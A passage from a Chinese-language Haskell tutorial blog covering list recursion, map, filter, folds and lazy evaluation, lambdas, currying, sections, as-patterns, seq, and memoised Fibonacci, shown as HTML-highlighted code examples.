class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- file: ch04/square.hs</span></span><br><span class="line"></span><br><span class="line"><span class="title">square</span> :: [<span class="type">Double</span>] -&gt; [<span class="type">Double</span>]</span><br><span class="line"></span><br><span class="line"><span class="title">square</span> (x:xs) = x*x : square xs</span><br><span class="line"><span class="title">square</span> []     = []</span><br></pre></td></tr></table></figure><p>可以看到，非常的简洁，因为 Haskell 本身就采用递归的形式去定义列表。</p><h3 id="递归示例-3">递归示例 3</h3><p>因为对列表逐元素操作非常常见，所以内置了 <code>map</code> 函数，用法是 <code>map func oprand</code>。比如上一个问题可以写成这样</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> Data.Char (<span class="title">toUpper</span>)</span><br><span class="line"></span><br><span class="line"><span class="title">square2</span> xs = map squareOne xs</span><br><span class="line">    <span class="keyword">where</span> squareOne x = x * x</span><br><span class="line"></span><br><span class="line"><span class="title">upperCase2</span> xs = map toUpper xs</span><br></pre></td></tr></table></figure><p>map 函数是一个非常常用的函数，它可以将一个函数应用到列表中的每一个元素，并将结果放入一个新的列表中。map 函数的类型签名和源码为</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">map</span> :: (a -&gt; b) -&gt; [a] -&gt; [b]</span><br><span class="line"><span class="title">map</span> _ []     = []</span><br><span class="line"><span class="title">map</span> f (x:xs) = f x : map f xs</span><br></pre></td></tr></table></figure><p>其中，a 和 b 是任意类型，map 函数接受两个参数：一个函数 f，以及一个列表 xs。它将 f 应用于 xs 中的每一个元素，并返回一个新的列表，其中包含了 f 应用于每一个元素后的结果。</p><h3 id="递归示例-4">递归示例 4</h3><p>对列表进行筛选，这也是很常见的，可以实现模式匹配来完成，也就是分支。这里是筛选列表中奇数元素。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">oddList</span> :: [<span class="type">Int</span>] -&gt; [<span class="type">Int</span>]</span><br><span class="line"></span><br><span class="line"><span class="title">oddList</span> (x:xs) | odd x     = x : oddList xs</span><br><span class="line">               | otherwise = oddList xs</span><br><span class="line"><span class="title">oddList</span> []                 = []</span><br></pre></td></tr></table></figure><p>Haskell 也内置了过滤的函数 <code>filter</code>，从下面的例子也可以看出用法，它可以将一个谓词函数应用到列表中的每一个元素上，并返回一个新的列表，其中只包含满足谓词条件的元素。函数签名和源码如下：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">filter</span> :: (a -&gt; <span class="type">Bool</span>) -&gt; [a] -&gt; [a]</span><br><span class="line"><span class="title">filter</span> _pred []    = []</span><br><span class="line"><span class="title">filter</span> pred (x:xs)</span><br><span class="line">  | pred x         = x : filter pred xs</span><br><span class="line">  | otherwise      = filter pred xs</span><br></pre></td></tr></table></figure><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">oddList</span> xs = filter condition xs</span><br><span class="line">  <span class="keyword">where</span> condition x = odd x</span><br></pre></td></tr></table></figure><h3 id="递归示例-5">递归示例 5</h3><p>折叠函数也是非常常见的，也就是每次取出列表的第一个元素，然后不断累积。因此，可以写出递归的形式：</p><p><code>foldl func initial_value list</code>，<code>func</code> 是对每个元素怎么操作，其中<code>func</code> 需要是接受 <code>a</code>, <code>b</code> 返回 <code>a</code> 的函数 <code>initial_value</code> 是初始的累加值，<code>list</code> 是被折叠列表。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">foldl</span> :: (a -&gt; b -&gt; a) -&gt; a -&gt; [b] -&gt; a</span><br><span class="line"></span><br><span class="line"><span class="title">foldl</span> step zero (x:xs) = foldl step (step zero x) xs</span><br><span class="line"><span class="title">foldl</span> _ zero []        = zero</span><br></pre></td></tr></table></figure><p>所以，字符串转数字可以更加简洁。step 函数必须是两个参数，第一个参数是累加值，第二个参数是列表中取出的元素。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> Data.Char (<span class="title">digitToInt</span>)</span><br><span class="line"></span><br><span class="line"><span class="title">asInt</span> xs = foldl step <span class="number">0</span> xs</span><br><span class="line">  <span class="keyword">where</span> step acc x = acc*<span class="number">10</span> + digitToInt x</span><br></pre></td></tr></table></figure><p>再比如列表求和也可以写成</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">sumList</span> xs = foldl step <span class="number">0</span> xs</span><br><span class="line">  <span class="keyword">where</span> step acc x = acc+x</span><br></pre></td></tr></table></figure><p>也可以简单的写成</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">sumList</span> xs = foldl (+) <span class="number">0</span> xs</span><br></pre></td></tr></table></figure><p>也就是只需要定义累加值和元素的操作即可。</p><p>除了左折叠，也有右折叠 <code>foldr</code>，用法是相同的。</p><p><strong>但是不推荐使用<code>foldl</code></strong>，因为 Haskell 采用<strong>惰性求值</strong>(或者叫 <strong>非严格求值</strong>)，不到最后一刻就不会求值，会把大量的表达式存储在内存中，可能造成内存泄漏。而且效率也不高。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">foldl (+) 0 (1:2:3:[])</span><br><span class="line">          == foldl (+) (0 + 1)             (2:3:[])</span><br><span class="line">          == foldl (+) ((0 + 1) + 2)       (3:[])</span><br><span class="line">          == foldl (+) (((0 + 1) + 2) + 3) []</span><br><span class="line">          ==           (((0 + 1) + 2) + 3)</span><br></pre></td></tr></table></figure><p>每个表达式都保存在一个块中，这么多表达式嵌套，内存消耗会比较大，远不如直接进行数值运算。比如，内置的函数会显示堆栈溢出，而优化后的函数可以快速求解：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; foldl  (+) 0 [1..100000000]</span><br><span class="line">*** Exception: stack overflow</span><br><span class="line"></span><br><span class="line">Prelude&gt; :module +Data.List</span><br><span class="line">Prelude Data.List&gt; foldl&#x27;  (+) 0 [1..100000000]</span><br><span class="line">5000000050000000</span><br></pre></td></tr></table></figure><h2 id="匿名函数">匿名函数</h2><p>有时，我们需要编写一个在应用程序的整个生命周期中只能使用一次的函数。为了应对这种情况，Haskell 开发人员使用了另一个称为 lambda 表达式或 lambda 函数的匿名块。Lambda 函数由<code>\</code>字符表示。关于它存在的意义，可以参考 <a href="https://stackoverflow.com/users/1482749/kosmikus">kosmikus</a> 的回答：</p><blockquote><p>Many Haskell functions are “higher-order functions”, i.e., they expect other functions as parameters. Often, the functions we want to pass to such a higher-order function are used only once in the program, at that particular point. It’s simply more convenient then to use a lambda expression than to define a new local function for that purpose.</p></blockquote><p>这里高阶函数的意思是，把函数作为参数的函数，前面提到的 <code>map</code> <code>filter</code> 都是高阶函数。例如这里只要大于 10 的偶数，那么直接用匿名函数，就不需要再用 <code>where</code> 去解释说明了。但是 也说明 lambda 函数的定义只能有一条语句。我们在很多情况下都会避免使用 lambda 。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">filter</span> (\ x -&gt; even x &amp;&amp; x &gt; <span class="number">10</span>) [<span class="number">1</span>..<span class="number">20</span>]</span><br></pre></td></tr></table></figure><p>匿名函数以反斜杠符号 <code>\</code> 为开始，后跟函数的参数（可以包含模式），而函数体定义在 <code>-&gt;</code> 符号之后。</p><p>例如下面的代码，判断元素是否包含在列表中。<code>isInAny &quot;abc&quot; [&quot;a&quot;,&quot;xyz&quot;,&quot;abcd&quot;]</code> 会返回 True。其中 <code>isInfixOf </code> 用于判断一个列表是否是另一个列表的子串，函数签名为 <code>isInfixOf :: Eq a =&gt; [a] -&gt; [a] -&gt; Bool</code>，<code>Eq</code> 是一个类型类，它表示可以进行相等性测试的类型。<strong>类型类是一组类型的集合</strong>，它们共享一些特定的行为或属性，因此可以用相同的函数或操作符来处理这些类型。</p><p><code>import</code> 用于导入其他模块中定义的函数、类型和常量等。导入一个模块时，Haskell 会在当前目录或全局搜索路径中查找指定的模块，并将该模块中的所有可见定义导入到当前模块的作用域中。除了导入整个模块之外，你还可以指定要导入的函数、类型和常量等。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 导入 Data.List 模块中的所有定义</span></span><br><span class="line"><span class="keyword">import</span> Data.List</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 导入 Data.List 模块中的 sort 和 intersperse 函数</span></span><br><span class="line"><span class="keyword">import</span> Data.List (<span class="title">sort</span>, <span class="title">intersperse</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 导入 Data.List 模块中的所有定义，但是不包括 foldl 函数</span></span><br><span class="line"><span class="keyword">import</span> Data.List <span class="keyword">hiding</span> (<span class="title">foldl</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 导入 Data.List 模块中的所有定义，并将它们重命名为 L</span></span><br><span class="line"><span class="keyword">import</span> <span class="keyword">qualified</span> Data.List <span class="keyword">as</span> L</span><br></pre></td></tr></table></figure><p>所以，下面 <code>isInAny</code> 第一个参数是 可以进行相等性测试的列表，第二个参数是 <code>a</code> 的类型为 <code>t</code> 的容器类型，比如 <code>a</code> 的列表就是一个容器类型 。所以 <code>needle</code> 是列表，<code>haystack</code> 是包含了列表的容器，比如列表为元素的列表。<code>isInfixOf :: Eq a =&gt; [a] -&gt; [a] -&gt; Bool</code> 需要接受两个列表，表示第二个列表是否包含第一个列表。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> Data.List (<span class="title">isInfixOf</span>)</span><br><span class="line"></span><br><span class="line"><span class="title">isInAny</span> :: (<span class="type">Foldable</span> t, <span class="type">Eq</span> a) =&gt; [a] -&gt; t [a] -&gt; <span class="type">Bool</span></span><br><span class="line"><span class="title">isInAny</span> needle haystack = any inSequence haystack</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    inSequence s = needle `isInfixOf` s</span><br><span class="line"><span class="comment">&#123;-相当于</span></span><br><span class="line"><span class="comment">any :: Foldable t =&gt; (a -&gt; Bool) -&gt; t a -&gt; Bool</span></span><br><span class="line"><span class="comment">isInAny needle haystack = any (isInfixOf needle) haystack</span></span><br><span class="line"><span class="comment">函数签名可以这样看 any ([a]-&gt;Bool) [[a]]，最终返回Bool</span></span><br><span class="line"><span class="comment">-&#125;</span></span><br></pre></td></tr></table></figure><ul><li><code>isInfixOf</code>：反引号表示标识符转换成二元中缀运算符，也就是参数可以写在两边。</li></ul><p>可以写成下面的形式</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">isInAny</span> needle haystack = any (\s -&gt; needle `isInfixOf` s) haystack</span><br></pre></td></tr></table></figure><p><img src="http://cdn.blog-blockchain.xyz/202304091323989.png" alt="image-20230409132322865"></p><p>注意 ghci 多行代码的写法，首先是 <code>:&#123;</code> 换行，然后开始写，最后单独一行 <code>&#125;:</code>，比如下图。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ghci&gt; :&#123;</span><br><span class="line">ghci| isInAny :: (Foldable t, Eq a) =&gt; [a] -&gt; t [a] -&gt; Bool</span><br><span class="line">ghci| isInAny needle haystack = any inSequence haystack</span><br><span class="line">ghci|   where</span><br><span class="line">ghci|     inSequence s = needle `isInfixOf` s</span><br><span class="line">ghci| :&#125;</span><br></pre></td></tr></table></figure><h2 id="函数柯里化">函数柯里化</h2><p>柯里化：当一个函数有多个参数的时候，先传递一部分参数调用它(这部分参数以后永远不变)，然后返回一个新的函数接收剩余的参数，返回结果。</p><p>这其实很像链式调用，但是更加灵活。我们曾经提到 <code>a-&gt;a-&gt;a</code> 表示的是连续的返回值，第一次返回函数 <code>a-&gt;a</code>，第二次返回 <code>a</code>。**在 Haskell 中，所有函数都只接受一个参数！**但是为了方便起见，从语法上来说，我们也可以说它接受多个参数。下面看几个例子。</p><h3 id="第一个例子">第一个例子</h3><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">dropWhile</span> :: (a -&gt; <span class="type">Bool</span>) -&gt; [a] -&gt; [a]</span><br><span class="line"><span class="title">isSpace</span> :: <span class="type">Char</span> -&gt; <span class="type">Bool</span></span><br><span class="line"><span class="title">dropWhile</span> isSpace :: [<span class="type">Char</span>] -&gt; [<span class="type">Char</span>]</span><br></pre></td></tr></table></figure><ul><li><code>dropWhile</code> 是内置函数，第一个参数是条件，第二个参数是列表，遍历列表，从左到右去除满足条件的元素，直到出现不满足条件的元素。</li><li><code>isSpace</code> 是 <code>Data.Char</code> 里的函数，判断字符是否是空格。</li></ul><p>可以发现，实际上 <code>dropWhile</code> 只接受一个参数，然后接受了之后就变成了新的表达式。<code>a</code> 表示不限制类型，<code>isSpace</code> 作为参数之后，就变成了 <code>[Char] -&gt; [Char]</code>。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; :m +Data.Char</span><br><span class="line">*Main Data.Char&gt; dropWhile isSpace &quot;    a b&quot;</span><br><span class="line">&quot;a b&quot;</span><br></pre></td></tr></table></figure><h3 id="第二个例子">第二个例子</h3><p><code>zip3</code> 函数是将三个列表转换成一个三元组。类型如下，请仔细观察函数类型的变化，可以非常直观地理解柯里化的过程。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; :type zip3</span><br><span class="line">zip3 :: [a] -&gt; [b] -&gt; [c] -&gt; [(a, b, c)]</span><br><span class="line"></span><br><span class="line">*Main Data.Char&gt; :t zip3 &quot;foo&quot;</span><br><span class="line">zip3 &quot;foo&quot; :: [b] -&gt; [c] -&gt; [(Char, b, c)]</span><br><span class="line"></span><br><span class="line">*Main Data.Char&gt; :t zip3 &quot;foo&quot; &quot;bar&quot;</span><br><span class="line">zip3 &quot;foo&quot; &quot;bar&quot; :: [c] -&gt; [(Char, Char, c)]</span><br><span class="line"></span><br><span class="line">*Main Data.Char&gt; :t zip3 &quot;foo&quot; &quot;bar&quot; &quot;quux&quot;</span><br><span class="line">zip3 &quot;foo&quot; &quot;bar&quot; &quot;quux&quot; :: [(Char, Char, Char)]</span><br><span class="line"></span><br><span class="line">Prelude&gt; zip3 &quot;foo&quot; &quot;bar&quot; &quot;quux&quot;</span><br><span class="line">[(&#x27;f&#x27;,&#x27;b&#x27;,&#x27;q&#x27;),(&#x27;o&#x27;,&#x27;a&#x27;,&#x27;u&#x27;),(&#x27;o&#x27;,&#x27;r&#x27;,&#x27;u&#x27;)]</span><br></pre></td></tr></table></figure><h3 id="回顾例子">回顾例子</h3><p>重新回顾我们在匿名函数中讨论过的例子</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> Data.List (<span class="title">isInfixOf</span>)</span><br><span class="line"></span><br><span class="line"><span class="title">isInAny</span> :: (<span class="type">Foldable</span> t, <span class="type">Eq</span> a) =&gt; [a] -&gt; t [a] -&gt; <span class="type">Bool</span></span><br><span class="line"><span class="title">isInAny</span> needle haystack = any inSequence haystack</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    inSequence s = needle `isInfixOf` s</span><br></pre></td></tr></table></figure><p>其中 EQ 类型类用于相等的条件判断，也就是可比较的类型。</p><blockquote><p>The <strong>Eq</strong> typeclass provides an interface for testing for equality. Any type where it makes sense to test for equality between two values of that type should be a member of the <strong>Eq</strong> class. All standard Haskell types except for IO (the type for dealing with input and output) and functions are a part of the <strong>Eq</strong> typeclass.</p><p>–<a href="http://learnyouahaskell.com/types-and-typeclasses">http://learnyouahaskell.com/types-and-typeclasses</a></p></blockquote><p>所以说，<code>isInAny</code> 的参数是可折叠的类型和可以比较的类型。实际上的等价映射是 <code>[a] -&gt; t [a] -&gt; Bool</code>，首先需要一个列表，然后可折叠类型的元素逐个和可比较的类型相比，最后返回布尔值。</p><p>又看 <code>any</code> 的类型 <code>any :: Foldable t =&gt; (a -&gt; Bool) -&gt; t a -&gt; Bool</code>，发现它是一个可折叠类型；</p><p>又看 <code>inSequence</code> 的类型 <code>inSequence :: Eq a =&gt; [a] -&gt; [a] -&gt; Bool</code> 是一个做比较返回布尔值的类型。</p><p>总之，函数定义的时候可以简化，<strong>如果已经高阶函数的函子已经定义了参数，那么定义时可以省略高阶函数的最后一个参数</strong>，因为<code>any</code> 已经指定了函数类型了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*Main Data.Char&gt; isInAny needle = any (\s -&gt; needle `isInfixOf` s)</span><br><span class="line">*Main Data.Char&gt; :type isInAny</span><br><span class="line">isInAny :: (Foldable t, Eq a) =&gt; [a] -&gt; t [a] -&gt; Bool</span><br></pre></td></tr></table></figure><h2 id="节（section">节（section)</h2><p>之前提到过，使用反引号 `` <code>可以将标识符转换成二元中缀运算符。而节比较特殊，使用括号包围一个操作符，通过在括号里面提供左操作对象或者右操作对象，可以产生一个部分应用函数。具体来说</code>(*3)` 就是部分应用函数，可以实现：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; map (2^) [3, 5, 7, 9]</span><br><span class="line">[8,32,128,512]</span><br></pre></td></tr></table></figure><h2 id="As-模式">As-模式</h2><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">suffixes</span> :: [a] -&gt; [[a]]</span><br><span class="line"><span class="title">suffixes</span> xs@(_ : xs&#x27;) = xs : suffixes xs&#x27;</span><br><span class="line"><span class="title">suffixes</span> [] = []</span><br><span class="line"></span><br><span class="line"><span class="title">main</span> = print $suffixes <span class="string">&quot;foot&quot;</span></span><br></pre></td></tr></table></figure><p>As-模式在之前已经学习过了。源码里面用到了新引入的 <code>@</code> 符号，模式 <code>xs@(_:xs')</code> 被称为 as-模式，它的意思是：如果输入值能匹配 <code>@</code> 符号右边的模式（这里是 <code>(_:xs')</code> ），那么就将这个值绑定到 <code>@</code> 符号左边的变量中（这里是 <code>xs</code> ）。相当于多了一个参数，从 <code>xs</code> 中拆解出了 <code>xs'</code>。</p><p>As-模式还有其他作用：它可以对输入数据进行共享，而不是复制它，减少了内存消耗。</p><p><code>$</code> 运算符表示右结合，相当于给右边的部分加一个括号，用于简化函数的嵌套调用，比如如何的用法。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 括号版本</span></span><br><span class="line"><span class="title">sum</span> (filter (&gt; <span class="number">0</span>) (map (* <span class="number">2</span>) [<span class="number">1</span>, -<span class="number">2</span>, <span class="number">3</span>, -<span class="number">4</span>]))</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 使用 $ 运算符</span></span><br><span class="line"><span class="title">sum</span> $ filter (&gt; <span class="number">0</span>) $ map (* <span class="number">2</span>) [<span class="number">1</span>, -<span class="number">2</span>, <span class="number">3</span>, -<span class="number">4</span>]</span><br></pre></td></tr></table></figure><p>运算符 <code>.</code> 的功能类似，可以将多个函数组合成一个新的函数，将右侧的函数作为左侧函数的参数。这样可以少写几个括号，看起来更加简洁。下面新的函数 <code>h</code> 表示参数先加 <code>1</code>，然后再乘以 <code>2</code>，从而得到一个新的输出结果。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 定义一个函数 f 和一个函数 g</span></span><br><span class="line"><span class="title">f</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">f</span> x = x * <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="title">g</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">g</span> x = x + <span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 使用 . 运算符将 f 和 g 组合成一个新的函数 h</span></span><br><span class="line"><span class="title">h</span> :: <span class="type">Int</span> -&gt; <span class="type">Int</span></span><br><span class="line"><span class="title">h</span> = f . g</span><br></pre></td></tr></table></figure><h2 id="严格求值">严格求值</h2><p>严格求值就是非惰性求值，它解决了暂存大量的表达式造成堆栈溢出的问题，但是如果不适当地使用，会增大计算量。</p><p>之前地例子是 <code>foldl</code> 非严格求值，而 <code>foldl'</code> 是严格求值。<code>seq</code> 函数是比较典型地严格求值的例子。我大致的理解是，</p><blockquote><p>（seq a b）it evaluates the first argument <code>a</code> to weak head normal form (WHNF). The only guarantee given by <code>seq</code> is that the both <code>a</code> and <code>b</code> will be evaluated before <code>seq</code> returns a value.</p><p>——<a href="https://hackage.haskell.org/package/base-4.17.0.0/docs/Prelude.html#v:seq">https://hackage.haskell.org/package/base-4.17.0.0/docs/Prelude.html#v:seq</a></p></blockquote><p>也就是说，在返回之前它会把第一个参数求值，直到满足 WHNF，但是不一定 <code>a</code> 比 <code>b</code> 先求值。比如如果 <code>a</code> 依赖 <code>b</code>，那么就可能是 <code>b</code> 先求值。</p><p>WHNF 是什么呢？可以参考下面的回答：</p><blockquote><p><strong>Normal form</strong>: An expression in normal form is fully evaluated, and no sub-expression could be evaluated any further (i.e. it contains no un-evaluated thunks).</p><p><strong>Weak head normal form</strong>: An expression in weak head normal form has been evaluated to the outermost data constructor or lambda abstraction (the <em>head</em>). Sub-expressions <em>may or may not have been evaluated</em>. Therefore, every normal form expression is also in weak head normal form, though the opposite does not hold in general.</p><p>– <a href="https://stackoverflow.com/a/6889335/15272222">https://stackoverflow.com/a/6889335/15272222</a></p></blockquote><p>来看一个例子：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">myFoldl</span> f a [] = a</span><br><span class="line"><span class="title">myFoldl</span> f a (x : xs) = <span class="keyword">let</span> a&#x27; = f a x <span class="keyword">in</span> a&#x27; `seq` myFoldl f a&#x27; xs</span><br><span class="line"></span><br><span class="line"><span class="title">mySum</span> xs = myFoldl (\x b -&gt; x + b) <span class="number">0</span> xs</span><br><span class="line"></span><br><span class="line"><span class="title">main</span> = print $ mySum [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>]</span><br></pre></td></tr></table></figure><p><code>seq</code> 让 <code>let a' = f a x in a'</code> 严格求值。</p><h2 id="斐波那契数列的优化">斐波那契数列的优化</h2><p>这一部分会学些一些编码技巧，斐波那契数列最直观的逻辑如下，但是函数对应的值是不会缓存的，所以会具有指数级复杂度。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">fibOriginal</span> :: <span class="type">Int</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">fibOriginal</span> <span class="number">0</span> = <span class="number">0</span></span><br><span class="line"><span class="title">fibOriginal</span> <span class="number">1</span> = <span class="number">1</span></span><br><span class="line"><span class="title">fibOriginal</span> n = fibOriginal (n - <span class="number">1</span>) + fibOriginal (n - <span class="number">2</span>)</span><br></pre></td></tr></table></figure><p>我们考虑缓存中间结果，这样就可以节省计算量。<code>cache</code> 是一个列表，缓存了结果，如果缓存了特定的位置，那么就求值，否则这个位置是 Nothing。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">fibList</span> :: <span class="type">Int</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">fibList</span> n = fib&#x27; n (replicate (n + <span class="number">1</span>) <span class="type">Nothing</span>)</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    fib&#x27; :: <span class="type">Int</span> -&gt; [<span class="type">Maybe</span> <span class="type">Integer</span>] -&gt; <span class="type">Integer</span></span><br><span class="line">    fib&#x27; <span class="number">0</span> cache = <span class="number">0</span></span><br><span class="line">    fib&#x27; <span class="number">1</span> cache = <span class="number">1</span></span><br><span class="line">    fib&#x27; n cache =</span><br><span class="line">      <span class="keyword">case</span> cache !! n <span class="keyword">of</span></span><br><span class="line">        <span class="type">Just</span> value -&gt; value</span><br><span class="line">        <span class="type">Nothing</span> -&gt;</span><br><span class="line">          <span class="keyword">let</span> value = fib&#x27; (n - <span class="number">1</span>) cache + fib&#x27; (n - <span class="number">2</span>) cache</span><br><span class="line">              newCache = updateCache n value cache</span><br><span class="line">          <span class="keyword">in</span> fib&#x27; n newCache</span><br><span class="line"></span><br><span class="line">    updateCache :: <span class="type">Int</span> -&gt; <span class="type">Integer</span> -&gt; [<span class="type">Maybe</span> <span class="type">Integer</span>] -&gt; [<span class="type">Maybe</span> <span class="type">Integer</span>]</span><br><span class="line">    updateCache _ _ [] = []</span><br><span class="line">    updateCache <span class="number">0</span> value (_:xs) = <span class="type">Just</span> value : xs</span><br><span class="line">    updateCache n value (x:xs) = x : updateCache (n - <span class="number">1</span>) value xs</span><br></pre></td></tr></table></figure><p>但是普通列表更新数据地复杂度是 n，很慢。换成映射会快许多。<code>cache</code> 就是 Map 类型。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> Data.Map (<span class="type">Map</span>) <span class="comment">-- 只导入 Map 类型。</span></span><br><span class="line"><span class="keyword">import</span> <span class="keyword">qualified</span> Data.Map <span class="keyword">as</span> Map <span class="comment">--导入了整个 Data.Map 模块，为这个模块创建了一个别名 Map</span></span><br><span class="line"></span><br><span class="line"><span class="title">fibMap</span> :: <span class="type">Int</span> -&gt; <span class="type">Integer</span></span><br><span class="line"><span class="title">fibMap</span> n = fst $ fib&#x27; n <span class="type">Map</span>.empty</span><br><span class="line">  <span class="keyword">where</span></span><br><span class="line">    fib&#x27; :: <span 